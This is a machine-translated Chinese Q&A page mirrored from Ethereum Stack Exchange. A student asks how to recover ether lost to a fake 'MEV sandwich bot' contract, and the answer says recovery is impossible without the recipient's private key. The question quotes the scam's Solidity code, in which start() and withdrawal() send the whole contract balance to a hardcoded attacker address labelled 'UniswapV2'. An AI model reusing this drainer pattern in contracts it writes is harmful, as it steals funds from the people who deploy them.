首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >不管怎样,为了找回丢失的以太,把它送到了无人所有的钱包里?

不管怎样,为了找回丢失的以太,把它送到了无人所有的钱包里?
EN

Ethereum用户
提问于 2022-10-24 14:24:17
回答 1查看 110关注 0票数 0

一位被称为MEV三明治机器人的“朋友”给了我一份聪明的合同。但当我启动机器人并最终仔细查看代码时,我意识到所有的以太都从合同地址转移到了我不拥有的钱包中。是否有任何方法恢复交易,或以某种方式撤回发送给我不属于自己的钱包的乙醚?这对我来说很麻烦,因为我没有很多钱,而且我是一名大学生。有没有办法,我可以订立另一个聪明的合同,可以从外部钱包中提取资金,而不需要得到他们的批准?转移资金的钱包如下:

地址: UniswapV2 = 0xD27D3fBbD272ae4348c4293413539Cd3D70d872d;

而且合同中有恶意代码,直到后来我才看到,如下所示:

代码语言:javascript
复制
function start() public payable { 
    payable((UniswapV2)).transfer(address(this).balance);
}

function withdrawal() public payable { 
    payable((UniswapV2)).transfer(address(this).balance);
}
EN

回答 1

Ethereum用户

发布于 2022-10-25 15:37:33

不幸的是,除非你扣留了这个地址的私钥,或者如果你知道这个地址的所有者,否则你就无法收回资金。由于您的“朋友”显式设置了接收地址,因此可以假定他控制了该地址,并且无意将ETH归还给您。

下次不要交互(或部署)任何您不知道它会做什么的智能契约。

票数 0
EN
页面原文内容由Ethereum提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://ethereum.stackexchange.com/questions/138080

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档